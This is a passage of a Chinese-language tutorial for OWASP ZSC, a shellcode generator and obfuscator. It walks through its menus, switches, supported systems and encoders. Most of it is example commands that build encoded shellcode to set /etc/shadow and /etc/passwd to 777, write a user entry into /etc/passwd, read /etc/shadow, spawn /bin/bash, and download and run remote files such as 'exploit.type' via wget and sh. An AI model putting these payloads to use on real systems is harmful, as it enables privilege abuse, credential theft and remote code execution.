

输入" shellcode" 生成shellcode，然后回车。

现在你可以输入generate或者search，或者download（生成shellcode、从shell库搜索或下载shellcode）。

搜索shellcode：输入search，然后回车

```
zsc/shellcode> search
```

```
keyword_to_search>
```

下载shellcode：输入download，然后回车

```
zsc/shellcode> download
```

```
shellcode_id>
```

生成shellcode：输入generate，然后回车

之后按tab键，你可以看到一个可用的操作系统列表。

然后再按一次tab键，你可以看到一些功能，比如“exec”，“systm”，“write”等等，然后你可以选择你想使用的功能，然后回车。

下面，你要使用函数的argv，比如exec(“bin/bash”)，然后你只需要按下tab，然后回车，软件就会自动获取函数argv了。

填好argv，接下来软件会要求你输入shellcode类型，你可以写“none”或者选择上面编码类型的一个。输入，然后你的shellcode就准备好了。

还有一个方式获得shellcode就是使用sheestorm API。

输入shellcode后输入search搜索一个shellcode。你只用输入shellcode的名字、ID等信息就可以获得一个sheecode列表，然后你可以在shellcode之后输入download下载shellcode。你可以使用restart命令来重启软件并开始新的任务。

生成混淆代码

使用obfuscate命令，你可以开始进行代码混淆。同样，使用tab键，你可以看到一列已经可以进行代码混淆的语言。之后选择一种语言，软件会要求你输入文件名，这个文件就是你想要进行代码混淆的文件。接下来软件会要求你选择编码类型。还是tab键，你可以看到编码模块。然后轩儿编码类型，你就能获得被重写并转成你选择的编码类型的混淆代码了。别担心，你的源码其实还在文件里。

其他命令

help: 显示帮助菜单

update: 检查更新

about: 关于owasp zsc

restart: 重启软件

version: 软件版本

exit: 退出

如果你用的是Linux kali，并且你用的是1.0.6版本的ZSC那你需要下面的简易教程：

Switches:

-h, -h, -help, --help => to see this help guide

-os => choose your os to create shellcode

-oslist => list os for switch -os

-o => output filename

-job => what shellcode gonna do for you ?

-joblist => list of -job switch

-encode => generate shellcode with encode

-types => types of encode for -encode switch

-wizard => wizard mod

-update => check for update

-about => about software and developers.

通过这些switch，你可以看到系统列表、编码类型和函数[joblist]来生成你的shellcode。

支持操作系统列表 “-oslist”

[+] linux_x86

[+] linux_x64

[+] linux_arm

[+] linux_mips

[+] freebsd_x86

[+] freebsd_x64

[+] windows_x86

[+] windows_x64

[+] osx

[+] solaris_x86

[+] solaris_x64

支持编码类型 “-types”

[+] none

[+] xor_random

```
[+] xor_yourvalue

[+] add_random

[+] add_yourvalue

[+] sub_random

[+] sub_yourvalue

[+] inc

[+] inc_timesyouwant

[+] dec

[+] dec_timesyouwant

[+] mix_all
```

支持函数 “-joblist”

```
[+] exec('/path/file')

[+] chmod('/path/file','permission number')

[+] write('/path/file','text to write')

[+] file_create('/path/file','text to write')

[+] dir_create('/path/folder')

[+] download('url','filename')

[+] download_execute('url','filename','command to execute')

[+] system('command to execute')

[+] script_executor('name of script','path and name of your script in your pc','execute command')
```

现在，你可以选择你所用的系统、函数和编码类型来生成你的shellcode了，但是现在其实没有启动所有功能，所以你要查看这个表，看看哪些功能被启用了、哪些没有。

OS	Encoder	Functions	exec	chmod	write	file create	dir create	download	download execute	system	script executor
linux_x86	none	====>	1	1	1	1	1	1	1	1	1
	xor_random	====>	1	1	1	1	1	1	1	1	1
	xor_yourvalue	====>	0	0	1	1	1	1	1	1	1
	add_random	====>	0	0	1	1	1	1	1	1	1
	add_yourvalue	====>	0	0	0	1	1	1	1	1	1
	sub_random	====>	0	1	1	1	1	1	1	1	1
	sub_yourvalue	====>	0	0	0	1	1	1	1	1	1
	inc	====>	0	1	0	1	1	1	1	1	1
	inc_timesyouwant	====>	0	0	0	1	1	1	1	1	1
	dec	====>	0	0	0	1	1	1	1	1	1
	dec_timesyouwant	====>	0	0	0	1	1	1	1	1	1
	mix_all	====>	0	0	0	1	1	1	1	1	1

举个例子，这个表格会告诉我们linux_x86上的所有功能都已经被启动了，但是[xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant] 智能开chmod()函数使用。

示例

```
>zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd','777')\" -o file

>zsc -os linux_x86 -encode dec -job "chmod('/etc/passwd','777')\" -o file

>zsc -os linux_x86 -encode inc_10 -job "chmod('/etc/passwd','777')\" -o file

>zsc -os linux_x86 -encode dec_30 -job "chmod('/etc/passwd','777')\" -o file

>zsc -os linux_x86 -encode xor_random -job "chmod('/etc/shadow','777')\" -o file.txt

>zsc -os linux_x86 -encode xor_random -job "chmod('/etc/passwd','444')\" -o file.txt

>zsc -os linux_x86 -encode xor_0x41414141 -job "chmod('/etc/shadow','777')\" -o file.txt

>zsc -os linux_x86 -encode xor_0x45872f4d -job "chmod('/etc/passwd','444')\" -o file.txt

>zsc -os linux_x86 -encode add_random -job "chmod('/etc/passwd','444')\" -o file.txt

>zsc -os linux_x86 -encode add_0x41414141 -job "chmod('/etc/passwd','777')\" -o file.txt

>zsc -os linux_x86 -encode sub_random -job "chmod('/etc/passwd','777')\" -o file.txt

>zsc -os linux_x86 -encode sub_0x41414141 -job "chmod('/etc/passwd','444')\" -o file.txt

>zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello.txt','hello')\" -o file.txt

>zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello2.txt','hello[space]world[space]!')\" -o file.txt

>zsc -os linux_x86 -encode none -job "dir_create('/root/Desktop/mydirectory')\" -o file.txt

>zsc -os linux_x86 -encode none -job "download('http://www.z3r0d4y.com/exploit.type','myfile.type')\" -o file.txt

>zsc -os linux_x86 -encode none -job "download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','./myfile.type')\" -o file.txt

#multi command

>zsc -os linux_x86 -encode none -job "download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','chmod[space]777[space]myfile.type;sh[space]myfile.type')\" -o file.txt

>zsc -os linux_x86 -encode none -job "script_executor('script.type','D:\\myfile.type','./script.type')\" -o file.txt

>zsc -os linux_x86 -encode none -job "script_executor('z3r0d4y.sh','/root/z3r0d4y.sh','sh[space]z3r0d4y.sh')\" -o file.txt

>zsc -os linux_x86 -encode none -job "script_executor('ali.py','/root/Desktop/0day.py','chmod[space]+x[space]ali.py:[space]python[space]ali.py')\" -o file.txt

>zsc -os linux_x86 -encode none -job "system('ls')\" -o file.txt
```

```
>zsc -os linux_x86 -encode none -job "system('ls[space]-la')"-o file.txt
```

```
>zsc -os linux_x86 -encode none -job "system('ls[space]-la[space]/etc/shadow;chmod[space]777[space]/etc/shadow;ls[space]-la[space]/etc/shadow;cat[space]/etc/shadow;wget[space]file[space];chmod[space]777[space]file::/file')"-o file.txt
```

```
>zsc -os linux_x86 -encode none -job "system('wget[space]file;sh[space]file')"-o file.txt
```

```
>zsc -os linux_x86 -encode none -job "chmod('/etc/shadow','777')"-o file.txt
```

```
>zsc -os linux_x86 -encode none -job "write('/etc/passwd','user:pass')"-o file.txt
```

```
>zsc -os linux_x86 -encode none -job "exec('/bin/bash')"-o file.txt
```

提示：不要再system()函数中使用“”，用[space]“代替，软件会在shellcode里检测并把它替换成”。

script_executor(),download_execute(),download(),dir_create(),file_create()使用linux命令行，而不是函数。

[wget,mkdir,echo] system()函数会被增加到脚本中，你可以尽情使用他们并生成任何命令行shellcode。

提示：exec()不支持任何ARGV、exec('/bin/bash -c ls')或者('/bin/bash' , '-c' ,ls')，很可惜，下个版本才支持这种操作。

提示：你还可以对inc time和dec time使用high value，比如inc_100000，但是这样的话，你的shellcode可能会变得很大。

提示：你每次执行chmod()或其他可以随机编码的函数，你可能会得到随机输出和不一样的shellcode。

提示：异或操作可以做所有事！比如：“xor_0x41414141”和“xor_0x45872f4d”。

Wizard Switch

```
Default OS Name is linux_x86, Enter OS Name or Enter "List" to see OS List
OS Name: list
[*] linux_x86
[*] linux_x64
[*] linux_arm
[*] linux_mips
[*] freebsd_x86
[*] freebsd_x64
[*] windows_x86
[*] windows_x64
[*] osx
[*] solaris_x86
[*] solaris_x64
OS Name: linux_x86
OS Name set to "linux_x86"

Default Job is exec('/bin/bash'), Enter Job Type or Enter "List" to see Jobs List
Job:
Job set to "exec('/bin/bash')"
```

使用 -wizard switch，你就能在不使用长ARGV的情况下产生shellcode了，软件将会要求你输入信息。

提示：当你使用 -wizard switch时，如果你按了回车，但是没有反应，在Variable里将会设置默认值。

提示：进入“list”，你就可以看到所有值的列表了。

为了防止你们再说小编我不负责任，再丢一个官方视频：<http://zsc.z3r0d4y.com/blog/2015/07/27/video-how-to-install-and-generate-shellcode-using-zsc/>